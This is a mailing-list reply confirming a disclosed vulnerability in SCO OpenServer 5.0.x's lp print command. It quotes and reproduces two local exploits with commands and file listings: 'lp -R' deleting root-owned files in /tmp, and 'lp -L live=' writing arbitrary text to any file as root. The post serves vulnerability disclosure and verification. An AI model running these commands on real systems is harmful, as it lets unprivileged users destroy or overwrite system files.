Re: Security problems on SCO's lp subsystem

[mwilkers () talleytech com (Michael L. Wilkerson Jr.)]

> -----BEGIN PGP SIGNED MESSAGE-----
>
> Hello!
>
> While casually looking for SETUID binaries in a newly installed
> SCO 5.0.2 box, I have discovered that normal users with lp access
> (the default) may cause headaches to the system administrador.
>
> Details:
>
> System: SCO 5.0.2 Enterprise (5.0.4 too?)
>        Plain Vanilla Intel Server
>
> OK. We are all clean.
>
> Exploit 1)
>
> Normal users can remove text files under /tmp. The lp command won't even
> try to "print" (and remove afterwards) binary or executable programs.
> There may be a way around this, but I haven't tried to find it.
>
> $ lp -R /tmp/text_file_to_be_removed
>
> The switch -R causes the removal of the file, after printing.
>
> This exploit won't work in dirs that don't have the sticky bit set.


Okay, I've tested these both.  My box is:

SCO 5.0.4 Enterprise
        (also) Plain Vanilla Intel

as root...
        echo "test" > /tmp/rootfile

and the perms thereof are...

        drwxrwxrwt   2 sys      sys          1024 Jun 18 20:26 tmp

        and

        -rw-rw-r--   1 root     sys             5 Jun 18 20:26 rootfile

okay. now as a normal, unprivileged user, I run...

lpr -d lp -R /tmp/rootfile

...and to my displeasure, but as expected, the root-owned tempfile is
removed.  (BTW, this normal user is NOT a member of the group, sys --of course).

> Exploit 2)
>
> This is even better, but only works if your lp subsystem has a file named
> /var/spool/lpd/lock. With this file in place, the lp command will enable
> the "-L live" option. With this, you can write to *any* file in the system.
> And even better, the file will be mode 600, owned by root...
>
> Just do:
> $ lp -L live=/any_file_in_the_system
> blablabla
> ^D
>
> And that's it. You can type anything you want/need.

One more time!

running "touch /var/spool/lpd/lock"
yields:
        -rw-rw-r--   1 root     sys             0 Jun 18 20:41 /var/spool/lpd/lock

...now as the same normal user I run (with rootfile being an as of yet
non-existing file)

        lp -L live=/tmp/rootfile

Okay, then I enter whatever text I choose...and a ^D and bingo!
now "ls -l /tmp/rootfile" yields:
        -rw-------   1 root     lp             21 Jun 18 20:45 rootfile

Of course, the same normal user which created the file can now not even read it.

Okay, now to a previously existing /tmp/rootfile with perms
        -rw-rw-r--   1 root     sys             5 Jun 18 20:52 rootfile

...I append, as a normal user, using the same lp exploit, whatever text I
choose.  Now, ls -l /tmp/rootfile yields:

        -rw-rw-r--   1 root     sys            28 Jun 18 20:53 rootfile

so, the perms didn't not become 600.  But the new text has completely
overwritten the original text.

One thing to note is that file /var/spool/lpd/lock did not previously exist
before root touched it into existence.

> I'd like to know if these problems are still valid on 5.0.4. I couldn't
> find any mention of this problem on the SCO site. Older versions of SCO
> may exhibit this problem, since many of these have /usr/bin/lp setuid to
> root.

actually the perms on /usr/bin/lp are:
        ---x--x--x   1 bin      lp           2472 Jun 18 20:10 /usr/bin/lp

and of course, lpr is a symlink to /usr/bin/lp.

Looks dangerous!

======================== Mike Wilkerson ==========================
"You cannot go on 'seeing through' things forever. The whole point
of seeing through something is to see something through it."
C.S. Lewis, "The Abolition of Man"

PGP Public Key: http://www.talleytech.com/~mwilkers/mypubkey.asc
==================== mwilkers () talleytech com =====================